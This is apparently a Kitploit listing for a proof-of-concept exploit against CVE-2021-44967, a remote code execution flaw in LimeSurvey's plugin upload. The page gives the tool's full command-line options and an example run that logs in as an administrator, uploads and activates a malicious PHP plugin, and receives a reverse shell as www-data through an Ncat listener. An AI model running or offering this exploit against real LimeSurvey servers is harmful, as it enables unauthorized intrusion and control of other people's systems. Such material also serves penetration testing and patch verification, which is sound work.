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CVE-2021-44967 — POC for CVE-2021-44967: LimeSurvey RCE | Kitploit
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CVE-2021-44967

POC for CVE-2021-44967: LimeSurvey RCE

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CVE-2021-44967: LimeSurvey RCE

Description

This Proof-of-Concept (POC) can be used to exploit CVE-2021-44967 to upload and execute a malicious LimeSurvey PHP plugin as administrator to obtain a reverse shell.

A Remote Code Execution (RCE) vulnerabilty exists in LimeSurvey 5.2.4 via the upload and install plugins function, which could let a remote malicious user upload an arbitrary PHP code file.

Severity: 8.3 HIGH Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

Usage

root@kitploit:~
usage: limesurvey_rce.py [-h] -t URL -u USERNAME -p PASSWORD [-f FILE] [--listen-ip LISTEN_IP] [--listen-port LISTEN_PORT] [--threads THREADS] [--sleep-time SLEEP_TIME] [--row ROW]
                         [--length LENGTH] [-a USERAGENT] [-x PROXY] [-v]

POC for CVE-2021-44967 (LimeSurvey RCE)

options:
  -h, --help            show this help message and exit
  -t, --url URL         LimeSurvey Target URL
  -u, --username USERNAME
                        LimeSurvey username
  -p, --password PASSWORD
                        LimeSurvey password
  -f, --file FILE       Custom PHP payload file
  --listen-ip LISTEN_IP
                        Listening IP / Interface
  --listen-port LISTEN_PORT
                        Listening Port
  -a, --useragent USERAGENT
                        User agent to use when sending requests
  -x, --proxy PROXY     HTTP(s) proxy to use when sending requests (i.e. -p http://127.0.0.1:8080)
  -v, --verbose         Verbosity enabled - additional output flag

Example

root@kitploit:~
python3 limesurvey_rce.py -t https://TARGET/ -u 'USERNAME' -p 'PASSWORD'
[*] Authenticating ...
[+] Login successful!
[*] Uploading plugin ...
[*] Activating plugin ...
[*] Starting listener and sending reverse shelll ...
Ncat: Listening on 0.0.0.0:4444
Ncat: Connection from X.X.X.X:51004.
www-data@target:/$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)

Tested on LimeSurvey Community Edition Version 6.6.4.

References

  • CVE-2021-44967
  • Original POC
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